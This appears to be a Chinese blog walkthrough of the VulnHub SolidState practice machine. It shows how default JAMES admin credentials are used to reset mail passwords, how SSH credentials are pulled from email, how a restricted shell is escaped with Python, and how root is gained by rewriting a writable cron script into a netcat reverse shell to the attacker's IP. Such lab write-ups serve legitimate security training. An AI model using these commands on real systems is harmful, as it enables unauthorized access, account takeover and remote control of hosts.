【oscp】SolidState,计划任务提权
靶场地址:https://www.vulnhub.com/entry/solidstate-1,261/
发布日期:2018年9月12日
目标:得到root权限&找到flag.txt
主机探测,端口扫描

一些端口介绍:
(22,80忽略)
25 端口:SMTP服务,用于发送电子邮件的协议
110 端口:pop3是用于接收电子邮件的协议
119 端口:是用于传输和读取Usernet新闻组文章的协议。
4445 端口:是 JAMES 邮件服务器的远程管理接口,允许管理员通过命令行或Web界面管理邮件服务器的配置,包括用户管理、域名管理、邮件箱管理等。
访问网页

目录扫描

这里是需要用到一个命令,来连接邮件服务器,指定好端口4555,然后使用弱口令root / root 进行登录,再使用help查看命令帮助
telnet 是一个用于远程登录和管理服务器的网络协议和命令行工具。它允许用户通过网络连接到远程主机,并在该主机上执行命令。telnet 通常使用端口 23 进行通信,但也可以指定其他端口。

listusers 用于显示现有的账户信息,但是我们不知道密码信息,就无法登录pop3邮件服务器,查看电子邮件内容
user: james
user: thomas
user: john
user: mindy
user: mailadmin
设置(重置)密码
setpassword james 123
setpassword thomas 123
setpassword john 123
setpassword mindy 123
setpassword mailadmin 123

登录我们的pop3服务器,用户james的邮件信息

同理其他用户都这样查看,下面是john的邮件内容

下面是mindy用户的第二封邮件

翻译一下看看,这个就是 mindy 用户的ssh密码了

username: mindy
pass: P@55W0rd1!2@
ssh登录后,但是发现系统对这个用户做出了命令执行的一些限制

当前目录下有一个user.txt,包含了一个hash值,

使用hash-identifierhash识别工具,识别这个加密的类型,但是没有识别到

尝试逃逸shell,其他详细的逃逸过程可以参考我这篇文章
https://mp.weixin.qq.com/s/YS3lNhIE5V5kFlBLxS49xA

这里的逃逸是要用到 python
ssh username@IP "export TERM=xterm;python -c 'import pty;pty.spawn("/bin/bash")'"

信息收集
uname -a
cat /etc/os-release # 没有lsb_release -a命令可以使用这个代替

查看计划任务
cat /etc/crontab

查看文件权限为777的文件信息,不是root用户也能修改并执行文件,那如果这是个root用户设置的一个定时程序呢?

查看py脚本内容

看看nc 有没有-e参数,结果是有的
nc 中的 -e 参数在 Netcat (nc) 中用于指定一个程序,使得 Netcat 在建立连接后执行该程序,并将 Netcat 的标准输入、输出和错误重定向到该程序。这个参数通常用于创建反向shell或监听shell。

那么py脚本的内容就如下,来反弹shell
#!/usr/bin/env python
import os
import sys
try:
os.system('nc 192.168.209.130 6666 -e /bin/bash')
except:
sys.exit()
注意:如果重定向了,过了一会儿没有反弹成功,要么重新连接一次,就像这样

这下就能反弹成功了,找到root.txt文件

如果直接执行py文件的话,是以当前用户执行的,例如

可以看到当前用户为 mindy

往期推荐
红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学
【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了
从零开始学SQL注入(sql十大注入类型):技术解析与实战演练
本站小部分内容转载于互联网,如有侵权还请联系















暂无评论内容